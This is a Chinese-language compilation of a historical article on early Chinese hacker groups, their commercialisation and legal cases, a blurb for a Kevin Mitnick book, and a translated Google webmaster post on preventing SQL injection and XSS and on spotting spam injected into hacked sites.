真实动机的揣测已经不重要，客观上，对于民族情绪的附庸，以及爱国旗帜的高扬，促成了中国黑客的急速成长。2000年的街头，黑客技术就像日后的的blog（博客）一样流行。“报效祖国”成为年轻触网者最惯常的口头禅。不过，2002年4 月，中国互联网协会公告制止有组织的攻击行为。红盟至此一蹶不振，只沦为少人问津的网页。而滔滔直下的网络安全产业，令昔日的黑客们竞相转型，别无他顾。

黑客团体的商业化与分裂

商业化的种子是在一开始就埋下，1998年始出现的一系列的攻击行动，客观上也提醒了国人对于网络安全的认识，网络安全行业此时方兴未艾。

1999年1月23日，绿色兵团在上海延安东路128弄6号(星空网吧)召开第一次年会。当时网络泡沫正盛，网络安全被认为是就要兴起的庞大市场，绿色兵团的顶级黑客们掌握的黑客攻击技术换个名字就可以用来防御，变成网络安全技术。这时候，说客出现了，他叫沈继业，一个据说是从事资本运做的北京人。他奔赴上海，说服了龚蔚等核心成员，将绿色兵团进行商业化运作，随后绿色兵团转轨并拥有了自己的网络安全公司：上海绿盟计算机网络安全技术有限公司。

2000年3月，绿色兵团与中联公司合作投资，并在北京招募成员注册了北京中联绿盟信息技术公司。同年7月，北京绿盟与上海绿盟因内部原因合作破裂，北京公司启用新域名nsfocus.com。

双方冲突非常激烈，彼此亦对对方不断进行黑客攻击。2000年8月底，北京绿盟向法院起诉上海绿盟，上海绿盟败诉，不久上海绿盟作价30万元左右将公司包括域名isbase.com转让给北京绿盟，人员解散。北京绿盟随后将isbase.com域名停用。

关于分裂原因，有两个版本：一个是说北京绿盟早已开始在进行成熟的商业运作，而上海绿盟的绿色兵团成员则依旧不放弃自己自由自在的的黑客生涯，在当时的网上对话及声明中可以看出，他们想做“中国第一个非赢利性网络安全组织”，所以和以沈继业为首的资本力量产生了纠纷，最后资本力量获胜。

另一个版本则是因为利益纠葛：龚蔚等核心成员认为自己是绿色兵团的创立者，所以应该拿比较多的分成，而沈继业则认为既然组织已经商业化，那就应该按照公司的规则，让资本说话。“主要是因为个人利益。”现在还是北京中联绿盟老总的沈继业接受采访时说，他说因为龚蔚私心太重，“但是网络上名声的大小，不能作为公司中商业角色的标准。”

此后的”绿色兵团”几经周折，最后终于连站点也不复存在，成员也各自散去。据周帅说，现在的”绿色兵团”依然存在，但只是一个”松散的学术联盟”。

生于泛化、死于泛化是一些观察者对绿盟的兴衰原因给出的，而绿色兵团作为早期国内黑客的交流枢纽地带，其地位其实很快的的被1999年崛起的技术风格组织“安全焦点”所取代。这是一个迄今只有16名成员的组织，号称全方位、非商业而且有自己独特风格的黑客及安全站点。其对中国网络安全最突出的贡献是将其内部的技术交流年度会议变成了中国民间安全界的年度盛会，并逐步获得主流厂商和官方认可。而其成员在漏洞挖掘方面的成就达到了一个具有国际影响力的高度，flashsky、funnywei、tk、watercloud等人，均以在相关领域的造诣成为中国新一代的黑客领军人物。但这已经是后话。

光辉与标尺

有人曾评价“没有大师，将成为中国一代又一代黑客的心中永远的痛。而其后遗症将长存于中国黑客的成长之中。”

中国黑客没有大师，但并非没有光彩夺目的标杆，其间最典型的技术人物很多人认为当数袁哥和小榕。

同样是1998年，袁仁广（也就是袁哥），一个胖胖的，不善言辞的男孩子，正在青岛海信公司编写电视机顶盒程序。他毕业于山东大学数学专业，他当年报考数学专业是源于他天才般的数学天分和对解析数论的热爱，成为山东大学数学泰斗潘承洞教授的博士曾经是他一直的理想。但命运让他走进了山东大学，却又捉弄了他，让他每天面对一个枯燥的嵌入式系统。

不过，很快，袁哥的兴趣迁移到网络安全上了，娴熟的反汇编调试技巧让他直逼 windows9x系统的内核，而在他数学家般精确的头脑审视之下，发现微软的代码十分脆弱，很快，他就找到了windows 95系统的一个网络邻居协议的认证漏洞。靠这个漏洞，只要把本机的一个文件换成他修改过的，就可以直接进入任何有密码的远端windows 95系统的共享目录。袁哥模仿美国的黑客前辈们，给微软写信，竟然没有得到积极的答复，他被微软的这种高傲的态度激怒了。袁哥决心公开这个漏洞，在湖州信息港的个人空间上，他开启了自己的个人网站——袁哥的技术天地，此后，袁哥来到一个叫太阳岛站的BBS信息安全版上发帖子。很快，小小的太阳岛站已经不能承载他的才华，在整个的网络安全，他已经开始被广泛关注，微软也开始和他主动联系了。他没有想到，他成为后来一个炙手可热的安全前沿技术领域的境内奠基者，这个领域叫漏洞挖掘。袁哥凭借他的扎实的技术功底和灵感打开了一扇门，即使是类似flashsky、Funnyway等人如日中天，并广为境外关注的后起之秀们，也十分认可袁哥的实力和前辈的地位。

还是1998年，也许就在袁哥正在windows内核中探索的时候，一个比袁哥年长2岁、戴着眼睛的、脸上带着去年打架遗留伤痕的青年人，也在思考着。刚刚拿到的高级程序员水平证书被他抛在一边，他在构思着一个能够自动化注入的扫描器的结构。他就是小榕，其网名的来历，因为其女朋友的名字有一个榕字，所以他就把自己叫做小榕。

这个自称从小搞怪、早恋、大学挂了四科，全班31人排名30的另类，在中国网络安全大潮中开始声名鹊起，扫描工具“流光”、web破解工具“朔雪”、和密码破解工具“乱刀”，这三套程序，很长时间都是国内初学者的必杀器。

“流光”被广泛推崇是因为与当时其他扫描器只能扫描到漏洞不同，流光能直接植入后门。从而让那些笨手笨脚的初学者可以体验一下傻瓜黑客的快乐。但小榕自己从没有滥用郭自己的工具。小榕说，“通往电脑的道路不只一条，就看你怎么走”。 “只要我敲键盘的速度足够快，可以一天黑掉100个网站，但我不会这样做”。据说小榕曾经在一个月里进入1000家网站，并找出其中的漏洞来提示网管，但此说法并不可考。因为更多圈内人认为，小榕轻易不出刀，他只负责提供刀具。

小榕的父亲是大学教授，父亲的书生气息其深深地影响了小榕，从类似“流光”、“朔雪”这样的名字就可以看出其骨子里的感性。这也使小榕，对黑客的道德观认识得很清楚：黑客像美国西部开发时的牛仔，没有法律的约束，但却有自己的做事准则。黑客要有道德底线，小榕的三条做黑客原则：不能仇视社会，不能给别人制造麻烦，不能给别人带来损失。

小榕的密码学算法功底非常扎实，但有趣的是其高等数学两次不及格，不知道这是否对中国教育是一种莫大的讽刺。

令人疑惑的是，之前已经出场者们，竟然无一例外活跃于windows平台。对于开放、共享的黑客精神来说，中国黑客对开源领域如果没有任何贡献，实在是说不过去的事情。是真的毫无建树，还是被很多浮躁的声音所掩盖。中国的linux界和黑客界难道没有交集么？

在反复的信息挖掘中，号称清华三杰的李志鹏、令狐和谢华刚，走进了本书的视野，这三个人据说至今依然奋战在linux平台安全开发的一线。而其中的代表人物谢华刚则正是笔者所企盼的linux界和黑客界和典型的交集人物。

谢华刚，网名：vertex，系海南省海南中学毕业、清华大学热能系本科毕业和中科院计算所硕士研究生毕业，为国际项目LIDS（Linux入 侵检测系统）创始人

LIDS是一个用于增强Linux核心安全级别的核心“补丁”。该项目也是全球性Linux开发项目中由中国人主持的少数项目之一。

谢华刚的期望是在Linux系统中安装了Lids之后，文件系统、进程、访问控制都将得到保护。无论是普通用户还是超级用户都不能修改被Lids保护的文件，也不能中断被Lids保护的进程；任何人对系统的访问都将受到ACL规则的严格限制。 Lids入选了国际知名安全站点www.insecure.org评出的“50个顶级安全工具”。是中国黑客最早获取此殊荣。时至今日LIDS还在积极有序地改进更新，早早戴上白帽子的vertex并不迷失他的本色。

除了漏洞分析、入侵工具、Linux开源之外，必须提到中国黑客另外一个成长源头，那就是民间的反病毒爱好者和病毒爱好者，1998年面对突入起来的安全行业变局，他们有着比其他初学者更扎实的反汇编功底和系统底层实力。

在民间的病毒爱好者中，黄鑫、王娟夫妇是一对典型的代表，黄鑫有两个绰号，一个是黄师傅，这缘于他的姓氏，另一个绰号叫冰河，这个称号缘于黄鑫曾经写过的一个软件——冰河。冰河的产生本是黄鑫出于个人兴趣，用于远程控制自己电脑而写的一个软件，但却演变成本土黑客最喜欢用的木马程序。在1998年前后，木马虽然已经在黑客中间遍布使用，但多数为国外的BO和NETBUS等木马，对于一些刚接触黑客的生手来说，理解这些软件的使用方法和熟练使用这些软件无疑成为了“通往黑客道路”上的最大的难题，此外这些木马多数会被杀毒软件擒获。冰河在诞生之初凭借着国产化和暂时无杀毒软件能防杀的特点迅速地成为了黑客们使用最广泛的木马，这给冰河带来了很多江湖名声，但也带来了监管部门不请自来的询问和盘查，甚至引发牢狱之灾，这让冰河苦不堪言。

黄鑫的妻子王娟也是个黑客，网上ID“四川人”，当初在海南一家网络公司工作时，学计算机的王娟对网络安全产生了极大的兴趣，并写出了wollf木马，2000年底，在海南的一个信息安全论坛上，已经是“标准女黑客”的王娟认识了“冰河”黄鑫，两个志同道合的人切磋之后，情投意合，开始并肩闯江湖。随着人们对”冰河“的滥用，黄鑫就停止继续开发这一款远程控制工具，继而开发了xscan这一款著名的免费的网络隐患扫描工具。

与黄、王二人热衷编写工具不同，一个叫贾佳的黑客则长篇累牍的编写如何写病毒的技术文章，其文章章显其对技术核心的理解。

1998年，在与民间病毒爱好者相对立的另外一个阵营即民间反病毒爱好者的队伍里，也有一个中国网络安全的标志性人物在这一年内完成了转身。这个人叫江海客，真名肖新光。1997年毕业于哈尔滨工业大学自动控制系，从小学开始就开始，就有条件在 APPLE上开始写程序。1998年的江海客已经是哈工大软件开发中心的技术骨干，同时也是互联网上著名的反病毒技术爱好者，1998年，CIH大爆发，当国内反病毒企业普遍宣称根据CIH被破坏的C盘是无法恢复的时候，他却发现，由于windows机理的限制，多数情况下对C盘破坏是无法完成的，其于是在网上发表了一篇如何手工恢复C盘的详细技术文章，结果再次把自己扯入了与反病毒厂商的是非之中。

在这个圈子里，还有中国最早一批获得系统分析员证书的网络安全救援站点“救救我吧”的站长杭州的程序员幼虫、免费杀毒软件“搜毒”的作者陶辰等，而当时他们的领袖是水木清华病毒版斑竹蓝海(真名杨海)。蓝海、江海客、幼虫、陶辰等并称为网络安全的游侠式的人物，他们也毫不客气的向当时本土最成功的杀毒软件，山东人王江民创办的KV 系列投去了批评之剑，在这几个“从娃娃抓起”、外表谦和但内心无比高傲程序员看来，KV的设计和代码水平是惨不忍睹的，他们竭力通过个人的逆向分析能力，为反病毒树立唯技术是瞻的标尺，而他们极力的推荐和逆向分析一个软件，正是在当时寂寂无名，但十年之后却暴得大名的杀毒软件——卡巴斯基。在国家信息中心的中国计算机安全论坛等官方或民间论坛上，双方发生了非常激烈的辩论。

而偏偏此时，互联网上出现了一个毒岛论坛的站点，成为了国内反KV的大本营，站点甚至提供了KV系列的破解版本，对应的，王江民一怒之下，对这些破解版本进行加密，这造成了那些下载了破解版本的电脑出现被软盘硬盘都无法自举的情况。此事轰动一时。

而江海客、蓝海、陶辰等人都成为主创毒岛论坛的嫌疑人之一，多年以后笔者一一与当事人确认真伪，他们非常郑重的表示了否认，不过回忆起往事来，每个当事人都无限惆怅。

与脚本小子们的狂热不同，蓝海、江海客所代表的民间反病毒群体凭借其技术底蕴，无论对于中国安全产品的炒作还是对中国黑客群众运动式的疯狂，表现出一种不合时宜的反感。蓝海“业内的争论，留在业内臭在业内”一度成为国内民间反病毒群体最终走向不争论路线的招牌性语言。而江海客则是中国黑客运动中少有的冷静批评者之一，他不断的批评和建言中国黑客群体应该建立起技术正义感和基本的商业伦理，反对黑客平民化，也对黑客借强烈的民族主义情绪出名保持必要的警惕。事实证明，这些都成为后来中国黑客未能象美国一样，形成一股独立力量和特色群体的关键所在。

堕入尘埃

1998年，号称中国黑客第一案的杨威案，让中国黑客们第一次直面法律的达摩克利斯之剑。

因为上网费用太贵，上海交大数学系研究生杨威入侵了上海热线服务器，为自己和朋友们开设的帐号。不久，上海热线发现并报警，杨威被以涉嫌盗窃批捕，金额核定为巨大。波澜乍起，早已对电信行业居高不下的收费不满的网民几乎一致发起了对上海热线的声讨，而中国黑客开始了一场拯救大兵的行动。他们的出手方式不是对上海热线，而是公开连续发表了连续发表了两篇为杨威辩护虚拟辩护词。

其最精彩的部分来自，这份虚拟的辩护词的补充发言中对起诉“盗窃电信码号罪”的反驳，因为根据刑法“盗窃电信码号罪”侵害主体为拥有电信码号的用户，而不是运营商。杨威侵入运营商的行为，并没有侵害其他用户的利益。根据法不禁止即可为的原则，并不构成犯罪和量刑。

并不知道这种民间的声音有多大作用，根据后期了解，杨威被无罪释放。

第二次拯救大兵的行动的受益者，就是前文已经介绍的冰河的作者黄鑫，实际上黄鑫从没有用过自己的工具非法控制其它的电脑，只是这个工具太有名了，基本上每个初学者都要玩一玩的，导致冰河感染机器数量激增。冰河被捕竟然是因为一个编码的错误，按照冰河的设计控制者可以默认通过在21cn申请一个信箱来收取被控制者的IP地址，，但其设置错误了一个循环，导致了所有中了冰河的机器每隔一分钟就会给 21cn的信箱发封信，结果21cn的服务器迅速被拖垮。究竟多少人使用冰河在玩远程控制再无可考，只有抓来他这个作者顶这个大雷。

看守所里的黄鑫，吃了多天的白水煮白菜终于忍不住，问警察：“叔叔，菜里能不能放点盐”。警察没好气地说，“放盐，难道让你们这些人渣吃饱了再出去祸害人民群众么？”。

在中国黑客群体的集体营救下，黄鑫很快重获自由，这次经历让黄鑫变成一个谨慎的网络安全研究者，后来每当看到后辈的猖狂，黄鑫会叹一声，如果他们也连续吃几天白水煮白菜，恐怕就会理性很多。

另外一个被黑客集体和舆论搭救的是陶辰，1999年3月5日，陶辰两年前写的一个名为江民炸弹模拟器的程序，不知道被谁命名为雷锋.exe并作为邮件附件群发，造成了一些用户系统在执行附件后崩溃。陶辰则被公安机关约谈，此事也最终在黑客们发起的舆论干预压力下平息。

在这些案件的相关采访中，笔者并没有得到最想得到的一个案件的信息，那就是1997年的冰人案，冰人对无线电技术的造诣，在1998一代黑客中无人可及，这使他更具有类似美国蓝盒子一代的潜质。但问起冰人事件事时，很多黑客除了叹息缄口不言，笔者有一种强烈的感觉，这种沉默，源于1997年前后，还是一个中国第一代黑客们有心无力的时代。

在这些经历背后，我们看到了黑客集体的纯情和团结，但也深深地感到，他们是不是缺少了一些对社会规则的敬畏和反思，他们是中国黑客的先行者，他们将给后辈形成怎样的的基础。

60后、70后的黑客们，这些人注定要回归社会，而新兴的80后黑客们，却显得非常潇洒，他们要比他们的前辈“胆大妄为”，他们在2000年左右，开始取代他们富有理想主义的前辈们，成为媒体上抛头露面的主角。

2000年前后出现的远程控制工具“网络神偷”的作者，似乎可以作为一个典型代表：

“本人网名“蔬菜”，1981年出生，男，高中学历，北京人士，是一名 VC/MFC 程序员。现就职于北京中关村的一家软件公司，从事软件开发工作，是一名专业程序员。”

这是他留在网页上的自我介绍：

网络神偷对包反弹技术的探讨比较早的，这种方式可以有效的对抗防火墙的端口限制，但这不是网络神偷一夜成名的原因，真正的原因是，有人用网络神偷，从金山公司偷出了金山的工资表，金山毒霸销售情况和病毒样本买卖的机密合同等等。让金山丢了大人，于是网络神偷名扬天下。

曾经有两篇网友写的帖子，同时出现在蔬菜的主页上，一篇是“通过网络神偷，窃取金山机密文件”，另一篇就是“金山毒霸是非不分，优秀远程控制工具，网络神偷，遭到无理查杀”。这两篇帖子放在一起，无论如何都让人感慨万分。

也许两代黑客确实有很大不同，尽管他们的年龄差距不过几年，第一代黑客也写远程控制工具，比如冰河、wolf等等，但没有听说过谁用远程控制工具卖钱的，而网络神偷则开始制作特别版，收取48元注册费，另外一个文件捆绑工具也收取35元注册费，而文件捆绑早就被多数反病毒公司作为木马处理了。第一代黑客，也写过破坏硬盘的程序，比如陶辰的江民炸弹模拟器，但那是一个纯研究性的，只是为了解释 KV300 L++逻辑炸弹的机理，而且有作者提示，有解锁文件，包括作者的联系地址和传呼，操作也是可恢复的。而蔬菜的Hdbreaker，则采用CIH的破坏方法，根本无法修复。

“80年代出生的人行事风格和我们有很大不同”，一个已经年过30的“老程序员”这样对笔者说，“老冯（冯志宏）做追捕，软件是免费的，而蔬菜做了个IP搜索客，用了追捕的数据，却要受注册费”。一件两代人的旧日恩怨又被翻了出来。

一个媒体朋友讲过这样一件事情，他中了一个名叫QQ密码侦探的木马，他在网上找到了一个名为 QQ密码侦探终结者的清除软件，注册费15元，令人惊诧的是，当他同时下载了一个密码侦探也想看看木马作者真面目的时候，发现“密码侦探”和“侦探终结者 ”竟然出自同一个作者，“开山软件”。不仅萌发了一个联想，假如陈颖豪也作了一个killcih，然后收15新台币，不知道公众又会作何评论

作为一个中国互联网历史的长期跟踪和研究者，笔者很关注优秀的计算机图书作者，因此一个名字的即将出现让人感到痛心，而且也有很多人为他难过。他就是《win32汇编程序设计的作者》BigLuo。

没有任何人否认他是一个资深的程序员，没有任何人否认他是一个出色的汇编技术网站的站长，也没有任何人否认他是一个热心的网友。

但同样也是他，攻击了某电信公司的服务器，删除了计费数据。诱发这一切的，竟然只是一个普通的跳槽风波。据知情者说，他原来是某市中国电信的一名程序员，跳槽到了中国联通，当他还是希望再回到电信时，被电信拒绝了。

作者的主页孤单的挂在那里，已经5年没有更新了，在作者进行的几个计算机病毒源码分析的旁边，还留着这样的话：

“本专题是一些计算机病毒的分析以及反病毒技术，我会对一些病毒做具体的分析，但要注意，本专题的本意并非宣扬如何编制计算机病毒，而在于让大家懂得计算机病毒是如何传播的，消除一些对计算机病毒认识的误区，所以本专题不会提供整个病毒的源代码，而只分析某个病毒特殊的地方以及病毒中的一些陷阱、以及防治这个病毒所需要注意的地方，编程技术象其他的科学技术，也是一面双面刃，就看你把它用在什么地方，如果谁利用这些代码做编程学习以及病毒防治以外的所有地方，请自己负全部责任。”

他一直被圈子里面认为是德艺双馨的，有水平，也有原则。但谁也没想到月之暗面竟然如此斑驳。

此案让开始很团结的黑客群体发生分裂，多数人拒绝声源这位老友和同行，因为他们觉得他越过了黑客的基本操守和底线，而此后，中国黑客界再没有任何一次齐心协力的拯救大兵行动。

笔者想起一位已经“漂白”的安全工程师说，原来自己玩得很疯，后来是因为“冰人”的被捕，才明白不能出格，后来就被招安了。一个又一个的教训，能让我们的黑客们明白，菜鸟也好，天才也罢，在法律面前没有任何异同。

中国黑客今安在

2000年，在黑客浪潮方兴未艾之际，一本专业杂志的一个专题再度掀起了波澜，这个专题被称为了《中国黑客档案》。前文已经列举的袁哥、小榕、黄鑫、王娟、江海客等人都在此列。他们于今安在？更多的黑客于今安在？

有人告别了网络安全业界。

最令人叹息的告别来自民间安全旗手水木清华病毒版斑竹蓝海，其从清华研究生毕业后，工作与网易公司，曾任网易公司副总裁。

有人选择回归主流安全企业，袁哥，在绿盟公司担任了多年的高级研究人员，尽管据说已经离职独自创业，但应然持有少量绿盟公司股份。

以袁哥、flashsky为代表的多名漏洞挖掘的标尺人物，基本后期都陆续回归了绿盟和启明两家主流企业。小榕则曾供职于方正和联想网御，据说目前也计划创业。

有人选择了在大的信息体系里承担安全责任：安全焦点核心成员benjerry在走出华为后目前担任腾讯公司安全部门负责人。

有人选择了创业之旅：

Frankie（谢朝霞）请来了深圳老资格的互联网人张春晖与其共同创业，2001年初，ISB投资公司给安络科技投资100万美元，谢朝霞出任副总，出任总经理的是我们前面曾提到的张春晖。2004年，谢朝霞又自己投资一百多万元，从张春晖手里买走部分股份，扩大自己所占股份，成为安络科技的总经理。

黄鑫、王娟夫妇2005年也在深圳创办了一家网络安全公司。

有人选择回归学术：江海客最终没有按照一些人的期望，接过蓝海的民间反病毒旗手的位置，而正式选择了成为职业反病毒工作者的道路，出任安天实验室首席技术架构师，但如今人们更多的看到的是他武汉大学计算机学院客座教授、863重点项目负责人的身份。网上很难再看到他的言论，他的合作伙伴之一，留学美国北卡罗纳的黑客李兆星则在网络上活跃起来，延续那种敢做敢言的角色。

2008年，北京奥运会网络安全应急专家组名单中，除了领导、院士和教授们，出现了4名当年的民间黑客的身影，他们就是jiajia(贾佳)、benjerry（季新华，腾讯公司）、袁哥和江海客（肖新光），他们在专家组具体的工作不得而知，但我们却看到他们作为中国黑客的最早代表，在十年后，终于有了可以向中国行业主管部门坐而论道的机会。

来源: 网易科技报道

作者简介：在卓越购买
KEVIN D. MITNICK是一位著名的黑客，不过他早已金盆洗手，不再做这一行了。如今，他将他一生积累下来的丰富技能奉献给了企业、组织单位以及政府部门，帮助他们学会保护自身，不被这本书以及他的前一本畅销书《欺骗的艺术》中所描述的种种攻击行为所危害。KEVIN D. MITNICK是“防御思维”（defensivethinking.com）的创始人之一。“防御思维”是一家信息安全咨询公司，致力于帮助企业，甚至政府部门保护其至关重要的信息。他曾受邀在《早安，美国》、《60分钟》、以及CNN的《举证责任》多个节目中出席，并在防范安全攻击以及网络犯罪方面确立了其领导地位。

内容简介：
四个志同道合的伙伴使用口袋大小的计算机在拉斯维加大把挣钱。一个无聊的加拿大小伙子居然能够非法访问南部的一家银行。几个年轻人被拉登的恐怖分子征召去攻击Lockheed Maritn公司和防御信息系统网络。
所以这些故事都是真实的！
如果读者是自己所在单位的安全负责人，本书中的故事完全可能在您管辖的领域内发生。害怕国家安全官员深夜造访吗？那就认真阅读本书并在自己管辖的范围内加以防范吧！而对在真实生活中斗智斗勇的故事感兴趣的读者，可以对本书进行更深入的阅读。
在网络攻击与利用方面的传奇生涯使得Kevin Mitnick成为了真正的黑客英雄人物，这也是他能够获得其他黑客们真实故事的原因。在每一个故事的后面，Mitnick对其进行了专业的分析——攻击行为其实是可以防范的。而他确实是有资格推荐安全措施的不二人选。无论是在黑客社会的传奇经历中，还是在与电脑犯罪的斗争中，Kevin Mitnick都牢牢地掌握着关键武器——对黑客才气与顽强精神的深入了解。

原文: Best practices against hacking
发表于: 2009年2月20日星期五, 上午6:46

最近，很多网站都在建设各种网络应用软件，以期为用户提供更好的服务，这其中尤以各种创建、编辑和管理内容的应用软件为多。这些系统提供了很多基于用户输入信息的强大互动特性，值得注意的是，考虑安全问题，避免第三方的恶意攻击并确保最佳的用户体验也变得更为重要。

黑客攻击的类型及拦截方式：

黑客可以采取多种不同的攻击方式部分或全部控制一个网站。一般来说，最常见和最危险的是SQL植入（injection）和跨站点脚本（XSS,cross-site scripting ） 。

SQL植入是一种在网络应用程序中植入恶意代码的技术，它利用数据库层面的安全漏洞以达到非法控制数据库目的。这种技术非常强大，它可以操纵网址（查询字符串）或其他任何形式（搜索，登录，电子邮件注册）以植入恶意代码。您可以在网络应用安全联盟(英文)中找到一些关于SQL植入的例子。

为避免此类黑客攻击的发生的确有法可循。举例来说，在前端界面和后端数据库之间增加一个“中间层”就是一种很好的做法。在PHP中，PDO（PHP Data Objects）扩展通常与参数（有时被称作placeholder或绑定变量）共同发生作用，而不是直接将用户输入做为命令语句。另一种极为简单的技术 是字符转义，通过这种方式，所有可以直接影响数据库结构的危险字符都可以被转义。例如，参数中每出现一个单引号[ ' ]必须代之以两个单引号[ ' ' ]来形成一个有效的SQL字符串。这只是两种您可以采取的、最常见的用以改进网站安全并避免SQL植入的有效方式。您还可以在网上找到许多其他符合您需求的资源（编程语言，具体的Web应用程序等)。

下面我们要介绍的是跨站点脚本（ XSS ）技术 。跨站点脚本是一种通过利用网络应用程序层面的安全漏洞，在网页中植入恶意代码的技术。当网络应用程序处理通过用户输入获得的数据，并且在返回给最终用户前没有任何进一步的检查或验证时，这种攻击就可能发生。您可以在网络应用安全联盟(英文)中找到一些跨站点脚本的例子。

有许多办法可以确保网络应用程序不被这种技术侵犯。一些简便易行的方法包括：

• 剔除可以被插入到表单中的数据输入（例如，PHP中的strip tags功能);
• 利用数据编码，避免潜在恶意字符的直接植入（例如，PHP中的htmlspecialchars功能)；

在数据输入和数据库端之间创建一个“层”，以避免应用程序代码被直接植入恶意字符。

一些有关CMSs安全的资源

SQL植入和跨站点脚本只不过是黑客用来攻击和利用无辜网站的多种技术中的其中两种。作为一般的安全准则，在网络安全问题上特别是在使用第三方软件时，一直保持更新以确保您安装了最新版本的软件是非常重要的。许多围绕大型建站社区建设的网络应用程序都提供持续的支持和软件升级。

下面举个例子，开放源码内容管理系统的最大的四个社区——Joomla, WordPress, PHP-Nuke 和 Drupa都在他们的网站上提供关于网络安全方面的知识并且设有大型社区驱动论坛，用户可以提出问题或寻求支持。例如，在Hardening WordPress，WordPress提供了如何加强CMS安全的综合性帮助文件。 Joomla提供了许多有关网络安全的资源，特别是其中的网络安全检查清单，这些操作都是网络管理员应该采用的。

一些识别黑客攻击您网站的方法：

如上所述，黑客可能采用很多不同方式攻击您的网站，也采用多种方法恶意利用无辜的网站。当黑客能够完全控制一个网站时，他们可以把主页彻底更换掉，清除所有的内容（删除您的数据库表），插入恶意软件或Cookie盗取程序。他们还可以利用您的网站制造网络垃圾，比如在您的网站隐藏指向垃圾网页的链接或建立重定向到恶意软件网站的页面。当变化很明显（比如主页被更换)时 ， 您可以轻松地辨别出黑客攻击，但对于其他类型的攻击，特别是那些带有制造网络垃圾意图的攻击，就比较不易被人察觉。谷歌提供了一些产品和方法，帮助网站管 理员发现自己的网站是否未经许可而被第三方攻击或更改。例如，通过使用谷歌搜索，您可以检查黑客是否将特定的恶意关键词添加到您的网站，并能找出您网站上 被攻击的具体网页。打开google.cn/，用[site:domain name]来搜索您的网站，查看黑客是否把一些常用的网络垃圾关键词添加到了您的网站（如伟哥, 色情, MP3, 赌博等） ：

[site:example.com 垃圾关键词]

如果您还不熟悉 site: 搜索操作符，这是一个通过将搜索范围限定到特定网站来使用谷歌搜索的途径。例如，搜索site:googleblog.blogspot.com只会返回来自谷歌官方博客的 搜索结果。当在这种查询中添加一些垃圾关键词时，谷歌将返回所有该网站中包含这些垃圾关键字的网页，而这些网页都很有可能已经遭受攻击。要检查这些可疑的 网页，只需打开谷歌网页快照，您就能发现这些黑客行为。然后，您可以清除这些网页被攻击的部分，并检查服务器配置文件中是否有异常情况（例如Apache网络服务器：htaccess文件和httpd.conf文件）。

如果您的网站已不出现在谷歌的搜索结果中，这可能意味着谷歌已在您的网站上发现由黑客攻击导致的垃圾网页，并很可能因为这些网页违反了我们网站管理员质量指南而已暂时将它们从我们的索引中移除。

为了不断留意是否有可疑关键字在您的网站上出现，您也可以使用谷歌快讯来监测类似的搜索查询：

site: example.com 某色情词汇 或 某赌博词汇 或 “手机铃声”等热门词汇

当这些关键词出现在您网站内容中时，您会收到一封提醒邮件。

您还可以使用谷歌网站管理员工具来检查您网站中的任何黑客行为。网站管理员工具为您的网站提供热门搜索查询的统计信息。这些数据将帮助您监测那些将用户带到您网站的热门搜索查询是否是那些可疑的、无关的垃圾关键词。“Googlebot看到的”的数据也十分有用，在这里您可以观察谷歌是否探查到您网站中任何异常的关键词，无论这些关键词是不是把用户带到您网站的热门关键词。

如果您有网站管理员工具账户，当谷歌认为您的网站已经被黑客入侵时，按被攻击类型的不同，您会收到相应的通知:

• 如果一个恶意的第三方正在使用您的网站制造网络垃圾（如添加隐藏链接或建立垃圾网页），并且已经被谷歌crawler侦测到，您就会在网站管理员工具的“消息中心”中收到一份详细通知（包含受攻击的URL样本，或隐藏链接的锚文本）；
• 如果您的网站被第三方利用放置了恶意软件，您会在网站管理员工具账户的“概览”页面中看到恶意软件的警告。

消除黑客攻击行为，该怎么做？

您的网站已经被黑客入侵或被植入了恶意软件？首先，请清理这些由黑客造成的网络垃圾，然后执行下列操作之一：

• 如果您的网站被黑客攻击达到制造垃圾网页的目的，请访问网站管理员工具中的”请求重新审核”链接，申请重新审核和收录；
• 如果您的网站向用户提供恶意软件，请在网站管理员工具的“概览”页面提出重新评估恶意软件的请求。

我们希望这些建议对您有所帮助，也欢迎您分享自己的意见或经验，谢谢！